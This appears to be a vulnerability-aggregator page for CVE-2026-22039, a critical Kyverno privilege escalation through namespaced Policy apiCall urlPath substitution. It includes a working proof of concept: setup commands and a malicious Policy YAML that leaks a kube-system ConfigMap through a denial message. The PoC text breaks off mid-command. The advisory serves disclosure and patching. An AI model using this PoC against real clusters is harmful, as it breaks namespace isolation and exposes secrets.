Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-22039 — kyverno

🔴 CVSS 9.5 — Critical ✅ No Known Exploit CWE-269 OSV
9.5
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Kyverno Cross-Namespace Privilege Escalation via Policy apiCall

Summary

A critical authorization boundary bypass in namespaced Kyverno Policy [apiCall](https://kyverno.io/docs/policy-types/cluster-policy/external-data-sources/#url-paths). The resolved urlPath is executed using the Kyverno admission controller ServiceAccount, with no enforcement that the request is limited to the policy’s namespace.

As a result, any authenticated user with permission to create a namespaced Policy can cause Kyverno to perform Kubernetes API requests using Kyverno’s admission controller identity, targeting any API path allowed by that ServiceAccount’s RBAC. This breaks namespace isolation by enabling cross-namespace reads (for example, ConfigMaps and, where permitted, Secrets) and allows cluster-scoped or cross-namespace writes (for example, creating ClusterPolicies) by controlling the urlPath through context variable substitution.

Details

The vulnerability exists in how Kyverno handles apiCall context entries. The code substitutes variables into the URLPath field without sanitizing the output or validating that the resulting path is authorized for the scope of the policy.

1. In pkg/engine/apicall/apiCall.go, the Fetch method performs variable substitution on the entire APICall object, including the URLPath.

```go

// pkg/engine/apicall/apiCall.go

func (a *apiCall) Fetch(ctx context.Context) ([]byte, error) {

// Variable substitution happens here

call, err := variables.SubstituteAllInType(a.logger, a.jsonCtx, a.entry.APICall)

// ...

data, err := a.Execute(ctx, &call.APICall)

```

2. In pkg/engine/apicall/executor.go, the Execute method delegates to executeK8sAPICall, which passes the raw path directly to the Kubernetes client's RawAbsPath method.

```go

// pkg/engine/apicall/executor.go

func (a *executor) executeK8sAPICall(ctx context.Context, path string, method kyvernov1.Method, ...) ([]byte, error) {

// ...

// Path is used directly in the raw API call

jsonData, err := a.client.RawAbsPath(ctx, path, string(method), requestData)

```

Because RawAbsPath executes a direct HTTP request to the API server using Kyverno's admission controller service account (which typically has broad permissions), an attacker can construct any valid API path to access and mutate resources they shouldn't have access to.

PoC 001 - Data exfiltration

The following steps demonstrate how a user restricted to the default namespace (with no access to kube-system) can read a sensitive ConfigMap from the kube-system namespace.

0. Setup kind + Kyverno

Tested with Kyverno v1.16.1 on k8s v1.34.0.

```bash

kind create cluster

helm repo add kyverno https://kyverno.github.io/kyverno/

helm repo update

helm install kyverno kyverno/kyverno -n kyverno --create-namespace

```

1. Setup target and low-privileged user

Create a confidential resource in a privileged namespace, and create a restricted user policy-admin who only has permissions to manage policies in the default namespace.

```bash

# Create confidential data in kube-system

kubectl create configmap target-cm -n kube-system --from-literal=key=confidential-data

# Create a restricted service account

kubectl create sa policy-admin -n default

# Create a role for managing policies and configmaps in default namespace only

kubectl create role policy-admin-role -n default \

--verb=create,get,list,update,delete \

--resource=policies.kyverno.io,configmaps

# Bind the role to the service account

kubectl create rolebinding policy-admin-binding -n default \

--role=policy-admin-role \

--serviceaccount=default:policy-admin

# Verify the user cannot access kube-system

kubectl auth can-i get configmaps -n kube-system --as=system:serviceaccount:default:policy-admin

# Output: no

```

2. Create malicious policy as the restricted user

Impersonating the restricted user policy-admin, apply a namespaced Policy in the default namespace.

```yaml

cat <<EOF | kubectl apply --as=system:serviceaccount:default:policy-admin -f -

apiVersion: kyverno.io/v1

kind: Policy

metadata:

name: cross-ns-leak

namespace: default

spec:

validationFailureAction: Enforce

rules:

  • name: leak-config

match:

resources:

kinds:

  • ConfigMap

context:

  • name: leakedData

apiCall:

# Injection happens here via annotations

urlPath: "/api/v1/namespaces/{{request.object.metadata.annotations.target_ns}}/configmaps/{{request.object.metadata.annotations.target_name}}"

jmesPath: "data.key"

validate:

# The leaked data is returned in the denial message

message: "LEAKED DATA: {{leakedData}}"

deny: {}

EOF

```

3. Trigger the leak

As the restricted user, create a ConfigMap in the default namespace with annotations pointing to the target resource in kube-system.

```yaml

cat <<EOF | kubectl apply --as=system:servicea

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality high, integrity high, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: Low — an ordinary user account is enough.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Changed — a successful attack reaches components beyond the vulnerable one.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: High — total loss, or loss the attacker controls.

Weakness class

CVE-2026-22039 is classified as CWE-269: Improper Privilege Management. Privileges are assigned, dropped or restored incorrectly, leaving an actor with more access than intended.

Affected software

CVE-2026-22039 is recorded against 2 packages.

  • github.com/kyverno/kyverno
  • kyverno

Timeline and source

Published on 2 February 2026 and last revised on 4 February 2026. No public exploit is currently recorded for this entry. A vendor advisory or fix has been published. Record sourced from OSV.

References

github.com (Advisory)
nvd.nist.gov (Advisory)
github.com (Fix)
github.com (Fix)

Other advisories for this package

github.com/kyverno/kyverno has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-269: Improper Privilege Management) in other software:

Details

Severity CRITICAL
CVSS Score 9.5
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
CWE CWE-269
Public Exploit ✅ No
Source OSV
Published 2026-02-02
Updated 2026-08-20
Modified 2026-02-04

Affected Packages

Software From version Fixed in
github.com/kyverno/kyverno
kyverno

Similar Threats

Exploit Protection

Are you running kyverno?

CVE-2026-22039 carries CVSS 9.5 Critical rating. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-22039 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026